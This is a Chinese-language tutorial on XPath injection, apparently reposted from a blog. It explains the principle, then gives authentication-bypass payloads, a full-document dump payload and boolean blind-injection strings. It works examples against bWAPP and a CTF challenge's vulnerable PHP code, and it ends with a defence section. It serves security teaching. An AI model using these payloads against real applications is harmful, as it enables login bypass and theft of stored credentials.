zoukankan      html  css  js  c++  java
  • 4.xpath注入详解

    0x01 简介

    XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。

    语法:

    0x02 原理

    XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequest parameters/input等。 例如:

    xml version="1.0" encoding="UTF-8"?> 
    <users> 
          <user> 
                <firstname>Ben</firstname> 
                <lastname>Elmore</lastname> 
                <loginID>abc</loginID> 
                <password>test123</password>
          </user> 
          <user> 
                <firstname>Shlomy</firstname> 
                <lastname>Gantz</lastname> 
                <loginID>xyz</loginID> 
                <password>123test</password>
          </user>
          <user> 
                <firstname>Jeghis</firstname> 
                <lastname>Katz</lastname> 
                <loginID>mrj</loginID>
                <password>jk2468</password> 
          </user>
          <user> 
                <firstname>Darien</firstname> 
                <lastname>Heap</lastname>
                <loginID>drano</loginID> 
                <password>2mne8s</password>
         </user>
     </users>
    正常查询//users/user[loginID/text()='xyz'and password/text()='123test'],如果黑客在 loginID 字段中输入:' or 1=1 or ''=' 
    则变成//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''=''],成功获取所有user数据,然后
    攻击者完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

    0x03 利用

    如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生Xpath注入,那么就攻击者就可能通过控制查询,获取数据,或者删除数据之类的操作。

    Xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面,搜索页面需要与xml交互的位置。

    判断依据:主要根据错误信息页面判断以及查看源码进行分析。

    Example:Bwapp

    首先这是这个Get方式请求验证,因此对get的参数进行注入测试,发现报错信息,说明是可能通过xml存储于前端交互。

    然后构造xpath查询语句//users/user[loginID/text()='' and password/text()=''],因此'or 1=1 or ''='或者' or '1'='1等使其为真可以。

    Example:hctf

    index.html

    <?php
    $re=array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep'); 
    
    setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000); 
    
    if(file_exists('t3stt3st.xml')) 
    { 
          $xml = simplexml_load_file('t3stt3st.xml'); 
          $user=$_GET['user']; 
          $user=str_replace($re, ' ',$user);
          $query="user/username[@name='".$user."']";
          $ans = $xml->xpath($query); 
          foreach($ans as $x => $x_value) 
         { 
               echo $x.": " . $x_value; echo "<br />"; } 
         } 
    ?>
    t3stt3et.xml
    xml version="1.0" encoding="utf-8"?> 
    <root1> 
          <user> 
               <username name='user1'>user1</username> 
               <key>KEY:1</key> 
               <username name='user2'>user2</username> 
               <key>KEY:2</key> 
               <username name='user3'>user3</username> 
               <key>KEY:3</key> 
               <username name='user4'>user4</username> 
               <key>KEY:4</key> 
               <username name='user5'>user5</username> 
               <key>KEY:5</key> 
               <username name='user6'>user6</username> 
               <key>KEY:6</key> 
               <username name='user7'>user7</username> 
               <key>KEY:7</key> 
               <username name='user8'>user8</username> 
               <key>KEY:8</key> 
               <username name='user9'>user9</username> 
               <key>KEY:9</key> 
          </user>
          <hctfadmin> 
               <username name='hctf1'>hctf</username>             
               <key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key> 
          </hctfadmin>
     </root1>
    
    

    通过查看源码$query,然后构造payload: `']|//*|['`

    Example:

    <addressBooke>
          <address>
          <name>Tom</name>
          <password>abcdefg</password>
          <age>20</age>
          <phone>13000000000</phone>
     </address>
     <address>
          <name>Bob</name>
          <password>abcdefg</password>
          <age>30</age>
          <phone>13000000001</phone>
     </address>
     <address>
          <name>Jack</name>
          <password>abcdefg</password>
          <age>40</age>
          <phone>13000000002</phone>
     </address>


    原理类似SQL注入,构建新的查询逻辑来进行攻击
    但是要注意,关键词像函数这种的区分大小写
    1.构建新的逻辑实现注入
    or 1=1
    and 1=2
    'or 'a'='a
    'and 'a'='b
    一个字节一个字节的提取出信息:
    'or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' and 'a'='a
    返回正常则判断正确
    等同于下面的查询:
    //address[name/text()='' or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' ]and 'a'='a]/phone/text()
    通过查询名字的输入 却查询到了了tom的密码首位,尝试攻击每一个字符位置并测试每一个可能的值,获得密码
     
    2.当然了大部分情况下,我们不能够知道任何节点的名称或者说只能知道一部分,可使用盲注XPath
    相当于SQL盲注(大家都对语句嫩熟于心,不多提了)
    首先提取父节点的名字:
    'or substring(name(parent::*[position()=1]),1,1)='a  正常
    'or substring(name(parent::*[position()=1]),2,1)='d  正常
    ........
    父节点名字为address 是元素节点
    提取子节点名字
    'or substring(//address[1]/*[2],1,1)='p' or 'a'='a 正常
    'or substring(//address[1]/*[2],2,1)='a' or 'a'='a 正常
    ........
    二号子节点名称为password
    提取子节点的值:
    基于原理://address[1]/*[2]/text() -> tom的password 但是这个不会输出
    我们通过布尔型来查询XML所有的内容
    'or substring(//address[1]/*[2]/text(),1,1)='a' or'a'='a 正常
    'or substring(//address[1]/*[2]/text(),1,1)='b' or'a'='a 正常
    ......
    第二个子节点值为abcdefg
     
    测试步骤:
    提交这些看能否使得状态改变 (count返回子节点数量)
    ' or count(parent::*[position()=1])=0 or 'a'='b 状态1
    ' or count(aprent::*[position()=1])>0 or 'a'='b 状态改变
    数字型参数:
    1 or count(parent::*[position()=1])=0
    1 or count(parent::*[position()=1])=0 状态改变
    确定了存在注入点,用上面的方法注入就可以了!

    0x04 危害

    1. 在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据;
    2. 可通过此类漏洞查询获取到系统内部完整的XML文档内容。
    3. 逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。

    0x05 防御

    1. 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
    2. 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
    3. 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。
    4. 参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。
    5. 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。 总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。
  • 相关阅读:
    gitlab安装笔记二_Centos7配置163yum源
    gitlab安装笔记一_虚拟机中安装Centos7
    初篇:我与Linux
    Redis分布式锁正确的实现方法
    MacOS从零开始搭建hexo博客
    docker服务编排--docker-compose
    多线程问题整理
    maven依赖范围
    linux打开文件数 too many open files 解决办法
    【数据结构】队列-数组模拟队列
  • 原文地址:https://www.cnblogs.com/bmjoker/p/8861927.html
Copyright © 2011-2022 走看看